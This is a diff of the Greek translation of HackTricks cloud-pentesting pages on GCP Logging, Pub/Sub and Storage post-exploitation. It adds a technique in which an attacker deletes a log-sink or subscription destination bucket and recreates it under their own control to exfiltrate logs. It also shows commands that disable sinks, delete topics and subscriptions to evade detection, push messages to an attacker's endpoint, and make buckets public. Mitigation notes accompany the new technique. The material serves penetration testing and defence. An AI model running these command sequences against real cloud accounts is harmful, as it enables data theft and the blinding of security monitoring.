-Ενημέρωση της περιόδου διατήρησης του bucket καταγραφών +Ενημέρωση διατήρησης log bucket ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) @@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location= --description="New
-Διαγραφή κάδου καταγραφών +Διαγραφή log bucket ```bash # Delete log bucket gcloud logging buckets delete BUCKET_NAME --location= @@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=
-Διαγραφή συνδέσμου καταγραφής +Διαγραφή συνδέσμου log ```bash # Delete link gcloud logging links delete --bucket --location @@ -100,7 +100,7 @@ gcloud logging links delete --bucket --location
-Διαγραφή προβολής logging +Διαγραφή logging view ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global @@ -111,7 +111,7 @@ gcloud logging views delete --bucket= --location=global
-Ενημέρωση του logging view για απόκρυψη δεδομένων +Ενημέρωση logging view για απόκρυψη δεδομένων ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" @@ -122,7 +122,7 @@ gcloud logging views update --log-filter="resource.type=gce_instance"
-Ενημέρωση μετρικών βασισμένων σε logs +Ενημέρωση log-based metrics ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID @@ -155,7 +155,7 @@ gcloud logging sinks delete
-Ενημέρωση/διατάραξη του log sink +Ενημέρωση/διατάραξη log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Απαγωγή του bucket-name σε Cloud Logging sink - `storage.buckets.delete` + +Τα Cloud Logging sinks μπορούν να εξάγουν συνεχώς logs σε έναν προορισμό Cloud Storage όπως `storage.googleapis.com/` ή `storage.googleapis.com//`. Αν ένας attacker μπορεί να διαγράψει το destination bucket, αλλά δεν μπορεί να κάνει update το sink, μπορεί παρ' όλα αυτά να ανακατευθύνει μελλοντικά exported logs αναδημιουργώντας το ίδιο globally-unique bucket name σε ένα attacker-controlled project. + +Αυτό είναι χρήσιμο όταν το compromised principal έχει destructive storage permissions όπως `storage.buckets.delete`, `storage.objects.delete`, και `storage.objects.list`, αλλά δεν έχει `logging.sinks.update`. +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Πιθανός Αντίκτυπος:** αθόρυβη μακροπρόθεσμη exfiltration μελλοντικών audit logs, application logs, security telemetry και οποιωνδήποτε άλλων events ταιριάζουν στο sink filter. + +**Detection & Mitigation:** ειδοποιείτε για διαγραφή buckets που αναφέρονται από active sinks, κάντε inventory τα sink destinations για dangling bucket names, περιορίστε το `storage.buckets.delete` σε logging destinations και προστατέψτε τα export buckets με retention/hold controls όπου είναι δυνατόν. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 8c437c33a..550a78fbb 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - Pub/Sub Post Exploitation +# GCP - Pub/Sub Μετά την Εκμετάλλευση {{#include ../../../banners/hacktricks-training.md}} ## Pub/Sub -Για περισσότερες πληροφορίες σχετικά με το Pub/Sub ελέγξτε την παρακάτω σελίδα: +Για περισσότερες πληροφορίες σχετικά με το Pub/Sub, ελέγξτε την ακόλουθη σελίδα: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,7 +12,7 @@ ### `pubsub.topics.publish` -Δημοσιεύει ένα μήνυμα σε ένα topic, χρήσιμο για **αποστολή απροσδόκητων δεδομένων** και την ενεργοποίηση απροσδόκητων λειτουργιών ή exploit vulnerabilities: +Δημοσίευσε ένα μήνυμα σε ένα topic, χρήσιμο για να **στείλεις απροσδόκητα δεδομένα** και να ενεργοποιήσεις απροσδόκητες λειτουργίες ή να εκμεταλλευτείς ευπάθειες:
@@ -25,11 +25,11 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -Χρήσιμο για να αποτρέψετε μια subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση. +Χρήσιμο για να αποτρέψει ένα subscription από το να λαμβάνει messages, ίσως για να αποφευχθεί η ανίχνευση.
-Αποσύνδεση subscription από topic +Απόσπαση subscription από το topic ```bash gcloud pubsub topics detach-subscription ``` @@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -Χρήσιμο για να εμποδίσετε μια subscription να λαμβάνει μηνύματα, ενδεχομένως για να αποφύγετε τον εντοπισμό.\ -Είναι δυνατό να διαγράψετε ένα topic ακόμη και αν υπάρχουν subscriptions συνδεδεμένες σε αυτό. +Χρήσιμο για να αποτρέψει μια subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγει detection.\ +Είναι δυνατό να διαγράψεις ένα topic ακόμα και με subscriptions συνδεδεμένες σε αυτό.
-Διαγραφή topic +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -Χρησιμοποίησε αυτή την άδεια για να ενημερώσεις κάποια ρύθμιση του topic ώστε να το διαταράξεις, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Χρησιμοποίησε αυτό το permission για να ενημερώσεις κάποια ρύθμιση του topic ώστε να το διαταράξεις, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Χορήγησε στον εαυτό σου την άδεια να εκτελέσεις οποιαδήποτε από τις προηγούμενες επιθέσεις. +Δώσε στον εαυτό σου permission για να εκτελέσεις οποιαδήποτε από τις προηγούμενες επιθέσεις. ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -88,18 +88,18 @@ gcloud pubsub topics set-iam-policy \
-Δημιουργία push subscription για λήψη μηνυμάτων +Δημιουργήστε push subscription για να λαμβάνετε μηνύματα ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```
-Δημιουργήστε μια subscription και χρησιμοποιήστε την για να **pull messages**: +Δημιούργησε μια subscription και χρησιμοποίησέ την για να **pull messages**:
-Δημιουργήστε pull subscription και ανακτήστε messages +Δημιούργησε pull subscription και ανάκτησε messages ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**Διαγραφή συνδρομής** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα σύστημα επεξεργασίας logs ή κάτι παρόμοιο: +**Η διαγραφή ενός subscription** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα log processing system ή κάτι παρόμοιο:
-Διαγραφή συνδρομής +Delete subscription ```bash gcloud pubsub subscriptions delete ``` @@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -Χρησιμοποιήστε αυτή την άδεια για να ενημερώσετε κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να προσπελάσετε (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε. +Χρησιμοποίησε αυτό το permission για να ενημερώσεις κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα σημείο που μπορείς να προσπελάσεις (URL, Big Query table, Bucket) ή απλώς για να το διαταράξεις.
-Ενημέρωση endpoint του subscription +Update subscription endpoint ```bash gcloud pubsub subscriptions update --push-endpoint ```
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete` + +Τα Pub/Sub subscriptions μπορούν να γράφουν τα delivered messages σε Cloud Storage buckets. Αν ένα subscription συνεχίζει να δείχνει στο `gs://` και ένας attacker μπορεί να διαγράψει αυτό το bucket, ο attacker μπορεί να δημιουργήσει ξανά το ίδιο globally-unique bucket name σε άλλο project και να λαμβάνει μελλοντικά messages χωρίς να αλλάξει το subscription. + +Αυτό μπορεί να είναι πολύτιμο όταν ο attacker δεν μπορεί να χρησιμοποιήσει `pubsub.subscriptions.update`, αλλά μπορεί να διαγράψει το destination bucket με permissions όπως `storage.buckets.delete`, `storage.objects.delete`, και `storage.objects.list`. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Πιθανό Impact:** exfiltration μελλοντικών Pub/Sub messages που αρχειοθετούνται στο Cloud Storage, συμπεριλαμβανομένων application events, failed pipeline payloads, logs ή data lake ingestion records. + +**Detection & Mitigation:** alert σε διαγραφή buckets που χρησιμοποιούνται από Pub/Sub subscriptions, review subscriptions με `cloudStorageConfig`, παρακολούθηση delivery errors που ακολουθούνται από bucket recreation, και περιορισμός destructive access στα message archival buckets. + ### `pubsub.subscriptions.setIamPolicy` -Δώσε στον εαυτό σου τα δικαιώματα που χρειάζονται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες attacks. +Δώσε στον εαυτό σου τα permissions που χρειάζονται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως σχολιασμένες attacks. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Attack ένα schema σε ένα topic έτσι ώστε τα messages να μην το πληρούν και επομένως το topic να διαταράσσεται.\ -Αν δεν υπάρχουν schema ίσως χρειαστεί να δημιουργήσεις ένα. +Attach ένα schema σε ένα topic ώστε τα messages να μην το fulfil και έτσι το topic να διαταραχθεί.\ +Αν δεν υπάρχουν schemas, ίσως χρειαστεί να δημιουργήσεις ένα.
-Δημιούργησε αρχείο schema και επισύναψέ το σε topic +Create schema file and attach to topic ```json:schema.json { "namespace": "com.example", @@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -Αυτό μπορεί να φαίνεται σαν ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι **ΑΧΡΗΣΤΟ**: +Αυτό μπορεί να μοιάζει με διαγραφή ενός schema ώστε να μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, καθώς το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά μέσα στο topic. Άρα αυτό είναι **USELESS**:
-Διαγραφή schema (όχι χρήσιμη) +Delete schema (not useful) ```bash gcloud pubsub schemas delete ``` @@ -186,15 +219,15 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -Δώσε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις. +Δώσε στον εαυτό σου τα απαραίτητα permissions για να εκτελέσεις οποιαδήποτε από τις προηγουμένως σχολιασμένες attacks. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη συνδρομή. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο αλλά εδώ είναι: +Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed messages και θα τα βάλει ξανά στο subscription. Όχι πολύ χρήσιμο για έναν attacker, αλλά εδώ είναι:
-Δημιούργησε snapshot και κάνε seek σε αυτό +Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 87dea055c..f9927b6a4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -1,18 +1,18 @@ -# GCP - Storage Post Exploitation +# GCP - Storage Μετά την Εκμετάλλευση {{#include ../../../banners/hacktricks-training.md}} ## Cloud Storage -Για περισσότερες πληροφορίες σχετικά με το Cloud Storage δείτε αυτή τη σελίδα: +Για περισσότερες πληροφορίες σχετικά με το CLoud Storage, δείτε αυτή τη σελίδα: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Παροχή δημόσιας πρόσβασης +### Give Public Access -Είναι δυνατόν να δοθεί σε εξωτερικούς χρήστες (με σύνδεση στο GCP ή όχι) πρόσβαση στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέσει δημόσια ένα bucket: +Είναι δυνατό να δοθεί σε εξωτερικούς χρήστες (logged in GCP ή όχι) πρόσβαση στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέτει δημόσια ένα bucket: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,9 +25,9 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Εάν προσπαθήσετε να δώσετε **ACLs to a bucket with disabled ACLs** θα βρείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +Αν προσπαθήσετε να δώσετε **ACLs σε ένα bucket με απενεργοποιημένα ACLs** θα βρείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -Για να αποκτήσετε πρόσβαση σε open buckets μέσω browser, επισκεφτείτε το URL `https://.storage.googleapis.com/` ή `https://.storage.googleapis.com/` +Για πρόσβαση σε open buckets μέσω browser, ανοίξτε το URL `https://.storage.googleapis.com/` ή `https://.storage.googleapis.com/` ### `storage.objects.delete` (`storage.objects.get`) @@ -41,9 +41,41 @@ gcloud storage rm gs:/// --project= ```bash gcloud storage rm -r gs:// ``` -### Απενεργοποίηση HMAC Keys +### Καθολική κατάληψη ονόματος bucket από upstream writers -Η άδεια `storage.hmacKeys.update` επιτρέπει την απενεργοποίηση των HMAC keys, και η άδεια `storage.hmacKeys.delete` επιτρέπει σε μια ταυτότητα να διαγράψει HMAC keys που σχετίζονται με service accounts στο Cloud Storage. +Τα ονόματα bucket στο Cloud Storage είναι καθολικά μοναδικά. Πριν διαγράψετε ένα bucket, ελέγξτε αν κάποια αυτοματοποιημένη υπηρεσία συνεχίζει να γράφει σε αυτό το bucket με βάση το όνομά του. Αν το bucket διαγραφεί και το ίδιο όνομα δημιουργηθεί ξανά σε ένα project υπό τον έλεγχο του επιτιθέμενου, upstream writers όπως Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions ή Storage Transfer Service jobs μπορεί να συνεχίσουν να γράφουν μελλοντικά δεδομένα στο αντικατεστημένο bucket. +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +Παραχωρήστε την κατάλληλη writer identity πρόσβαση στο replacement bucket, αν το upstream service το απαιτεί: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Πιθανός Αντίκτυπος:** μακροχρόνια exfiltration logs, μηνυμάτων, outputs μεταφοράς, backups, ή data pipeline artifacts χωρίς τροποποίηση του αρχικού router resource. + +**Ανίχνευση & Μετριασμός:** αντιμετωπίστε τη διαγραφή bucket ως υψηλού ρίσκου όταν το bucket αναφέρεται από sinks/subscriptions/jobs, κάντε alert σε dangling destinations, περιορίστε το `storage.buckets.delete`, και χρησιμοποιήστε retention policies ή legal holds για κρίσιμα export buckets όταν είναι κατάλληλο. + +### Deactivate HMAC Keys + +Το `storage.hmacKeys.update` permission επιτρέπει την απενεργοποίηση HMAC keys, και το `storage.hmacKeys.delete` permission επιτρέπει σε ένα identity να διαγράψει HMAC keys που σχετίζονται με service accounts στο Cloud Storage. ```bash # Deactivate gcloud storage hmac update --deactivate @@ -52,19 +84,19 @@ gcloud storage hmac update --deactivate gcloud storage hmac delete ``` ### `storage.buckets.setIpFilter` & `storage.buckets.update` -Η άδεια `storage.buckets.setIpFilter`, μαζί με την άδεια `storage.buckets.update`, επιτρέπει σε μια οντότητα να διαμορφώσει φίλτρα διευθύνσεων IP σε ένα Cloud Storage bucket, καθορίζοντας ποια εύρη ή συγκεκριμένες διευθύνσεις IP επιτρέπεται να έχουν πρόσβαση στους πόρους του bucket. +Το δικαίωμα `storage.buckets.setIpFilter`, μαζί με το δικαίωμα `storage.buckets.update`, επιτρέπει σε μια ταυτότητα να ρυθμίσει φίλτρα διευθύνσεων IP σε ένα Cloud Storage bucket, καθορίζοντας ποια εύρη IP ή διευθύνσεις επιτρέπεται να έχουν πρόσβαση στους πόρους του bucket. -Για να καταργήσετε πλήρως το φίλτρο IP, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή: +Για να διαγραφεί πλήρως το IP filter, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή: ```bash gcloud storage buckets update gs:// --project= ``` -Για να αλλάξετε τις φιλτραρισμένες διευθύνσεις IP, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή: +Για να αλλάξετε τις φιλτραρισμένες IPs, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή: ```bash gcloud storage buckets update gs:// \ --ip-filter-file=ip-filter.json \ --project= ``` -Το αρχείο JSON αντιπροσωπεύει το ίδιο το φίλτρο, κάτι σαν: +Το JSON αρχείο αντιπροσωπεύει το ίδιο το φίλτρο, κάτι σαν: ```bash { "mode": "Enabled", @@ -76,7 +108,7 @@ gcloud storage buckets update gs:// \ } ``` ### `storage.buckets.restore` -Επαναφορά bucket χρησιμοποιώντας: +Επαναφέρετε ένα bucket χρησιμοποιώντας: ```bash gcloud storage restore gs://# \ --project= diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 84fbc4d4e..1ae4dcc59 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,70 @@ -# Pentesting Cloud Μεθοδολογία +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}}
-## Βασική Μεθοδολογία +## Basic Methodology -Κάθε cloud έχει τις δικές του ιδιαιτερότητες αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που ένας pentester πρέπει να ελέγξει** όταν δοκιμάζει ένα cloud περιβάλλον: +Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που ένας pentester πρέπει να ελέγξει** όταν κάνει testing σε ένα cloud environment: - **Benchmark checks** -- Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **υπηρεσίες που χρησιμοποιούνται** -- Θα σας επιτρέψει επίσης να βρείτε μερικές **γρήγορες κακοδιαμορφώσεις** καθώς μπορείτε να εκτελέσετε τα περισσότερα από αυτά τα tests με **αυτοματοποιημένα εργαλεία** +- Αυτό θα σε βοηθήσει να **καταλάβεις το μέγεθος** του environment και τις **services που χρησιμοποιούνται** +- Θα σου επιτρέψει επίσης να βρεις μερικές **quick misconfigurations**, καθώς μπορείς να εκτελέσεις τα περισσότερα από αυτά τα tests με **automated tools** - **Services Enumeration** -- Πιθανότατα δεν θα βρείτε πολλές επιπλέον κακοδιαμορφώσεις εδώ αν εκτελέσατε σωστά τα benchmark tests, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στο benchmark test. -- Αυτό θα σας επιτρέψει να ξέρετε **τι ακριβώς χρησιμοποιείται** στο cloud περιβάλλον +- Πιθανότατα δεν θα βρεις πολλές περισσότερες misconfigurations εδώ αν έκανες σωστά τα benchmark tests, αλλά μπορεί να βρεις κάποιες που δεν είχαν ελεγχθεί στο benchmark test. +- Αυτό θα σου επιτρέψει να ξέρεις **τι ακριβώς χρησιμοποιείται** στο cloud env - Αυτό θα βοηθήσει πολύ στα επόμενα βήματα - **Check exposed assets** -- Αυτό μπορεί να γίνει κατά τη διάρκεια της προηγούμενης ενότητας, πρέπει να **βρείτε τα πάντα που ενδέχεται να είναι εκτεθειμένα** στο Internet με κάποιο τρόπο και πώς μπορούν να προσπελαστούν. -- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως instances με σελίδες web ή άλλες ανοιχτές θύρες, και επίσης σε άλλες **cloud managed services που μπορούν να ρυθμιστούν** να είναι εκτεθειμένες (όπως DBs ή buckets) -- Έπειτα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να εκτεθεί ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; κακοδιαμορφώσεις στην εκτεθειμένη υπηρεσία?) +- Αυτό μπορεί να γίνει κατά τη διάρκεια της προηγούμενης ενότητας, πρέπει να **βρεις τα πάντα που είναι δυνητικά exposed** στο Internet με κάποιον τρόπο και πώς μπορεί να γίνει access σε αυτά. +- Εδώ εννοώ **manually exposed infrastructure** όπως instances με web pages ή άλλες exposed ports, και επίσης άλλα **cloud managed services που μπορούν να ρυθμιστούν** ώστε να είναι exposed (όπως DBs ή buckets) +- Έπειτα θα πρέπει να ελέγξεις **αν αυτό το resource μπορεί ή όχι να είναι exposed** (confidential information? vulnerabilities? misconfigurations στο exposed service?) - **Check permissions** -- Εδώ πρέπει να **εντοπίσετε όλα τα δικαιώματα κάθε role/user** μέσα στο cloud και πώς χρησιμοποιούνται -- Πολλοί **υπερβολικά προνομιούχοι** (control everything) λογαριασμοί; Δημιουργημένα keys που δεν χρησιμοποιούνται?... Τα περισσότερα από αυτά τα checks θα έπρεπε να έχουν γίνει ήδη στα benchmark tests -- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **federation** ίσως χρειαστεί να τους ζητήσετε επιπλέον **πληροφορίες** για **πώς ανατίθεται κάθε role** (δεν είναι το ίδιο αν ο admin role ανατίθεται σε 1 user ή σε 100) -- Δεν αρκεί να βρείτε ποιοι χρήστες έχουν **admin** permissions "\*:\*". Υπάρχουν πολλά **άλλα permissions** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορεί να είναι πολύ **ευαίσθητα**. -- Επιπλέον, υπάρχουν **πιθανοί privesc** τρόποι να ακολουθηθούν καταχρώμενοι δικαιώματα. Όλα αυτά πρέπει να ληφθούν υπόψη και **όσο το δυνατόν περισσότερα privesc paths** πρέπει να αναφερθούν. +- Εδώ θα πρέπει να **βρεις όλα τα permissions κάθε role/user** μέσα στο cloud και πώς χρησιμοποιούνται +- Πάρα πολλοί **highly privileged** (control everything) accounts; Generated keys που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις checks θα έπρεπε να έχουν ήδη γίνει στα benchmark tests +- Αν ο client χρησιμοποιεί OpenID ή SAML ή άλλο **federation** μπορεί να χρειαστεί να τους ζητήσεις επιπλέον **information** σχετικά με το **πώς ανατίθεται κάθε role** (δεν είναι το ίδιο το admin role να ανατίθεται σε 1 user ή σε 100) +- Δεν είναι **αρκετό να βρεις** ποιοι users έχουν δικαιώματα **admin** "\*:\*". Υπάρχουν πολλά **άλλα permissions** που, ανάλογα με τα services που χρησιμοποιούνται, μπορεί να είναι πολύ **sensitive**. +- Επιπλέον, υπάρχουν **potential privesc** τρόποι να ακολουθηθούν καταχρώμενοι permissions. Όλα αυτά τα πράγματα πρέπει να ληφθούν υπόψη και θα πρέπει να αναφερθούν **όσα περισσότερα privesc paths γίνεται**. - **Check Integrations** -- Είναι πολύ πιθανό ότι **ενσωματώσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο cloud περιβάλλον. -- Για **ενσωματώσεις του cloud που ελέγχετε** με άλλη πλατφόρμα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\ -Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο παίρνει δεδομένα το GCP (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP που επεξεργάζεται αυτά τα δεδομένα). -- Για **ενσωματώσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, πρέπει να ρωτήσετε **ποιος έχει εξωτερική πρόσβαση για να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και να ελέγξετε πώς χρησιμοποιούνται αυτά τα δεδομένα.\ -Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί ένα Docker image φιλοξενούμενο στο GCR, πρέπει να ρωτήσετε ποιος έχει πρόσβαση για να τροποποιήσει αυτό και ποια ευαίσθητα info και πρόσβαση θα αποκτήσει αυτό το image όταν εκτελεστεί μέσα σε ένα AWS cloud. +- Είναι πολύ πιθανό ότι χρησιμοποιούνται **integrations με άλλα clouds ή SaaS** μέσα στο cloud env. +- Για **integrations του cloud που κάνεις audit** με άλλη platform θα πρέπει να αναφέρεις **ποιος έχει access να (ab)use εκείνο το integration** και θα πρέπει να ρωτήσεις **πόσο sensitive** είναι η ενέργεια που εκτελείται.\ +Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο το GCP παίρνει data (ρώτα πόσο sensitive είναι η ενέργεια στο GCP που χειρίζεται αυτά τα data). +- Για **integrations μέσα στο cloud που κάνεις audit** από external platforms, θα πρέπει να ρωτήσεις **ποιος έχει εξωτερικά access να (ab)use εκείνο το integration** και να ελέγξεις πώς χρησιμοποιούνται αυτά τα data.\ +Για παράδειγμα, αν μια service χρησιμοποιεί ένα Docker image hosted στο GCR, θα πρέπει να ρωτήσεις ποιος έχει access να το τροποποιήσει και ποια sensitive info και access θα πάρει εκείνο το image όταν εκτελείται μέσα σε ένα AWS cloud. -## Εργαλεία Multi-Cloud +### Hunt autonomous data streams writing to globally-unique storage -Υπάρχουν αρκετά εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά cloud περιβάλλοντα. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα υποδειχθούν σε αυτή την ενότητα. +Κατά το post-exploitation, εξέτασε μακράς διάρκειας exports όπως log sinks, subscriptions, replication jobs, Firehose streams και diagnostic settings που γράφουν σε buckets ή storage accounts με globally-unique name. Αν ο destination μπορεί να διαγραφεί και το ίδιο name μπορεί να δημιουργηθεί ξανά υπό τον έλεγχο του attacker, η upstream service μπορεί να συνεχίσει να παραδίδει sensitive data στο replacement destination ακόμα κι όταν ο attacker δεν μπορεί να ενημερώσει το ίδιο το router resource. + +Εστίασε αυτό το check στις σχετικές σελίδες των service: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} + +## Multi-Cloud tools + +Υπάρχουν αρκετά tools που μπορούν να χρησιμοποιηθούν για testing διαφορετικών cloud environments. Τα installation steps και τα links θα αναφερθούν σε αυτή την ενότητα. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Ένα εργαλείο για να **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Ένα tool για να **identify bad configurations and privesc path in clouds and across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py 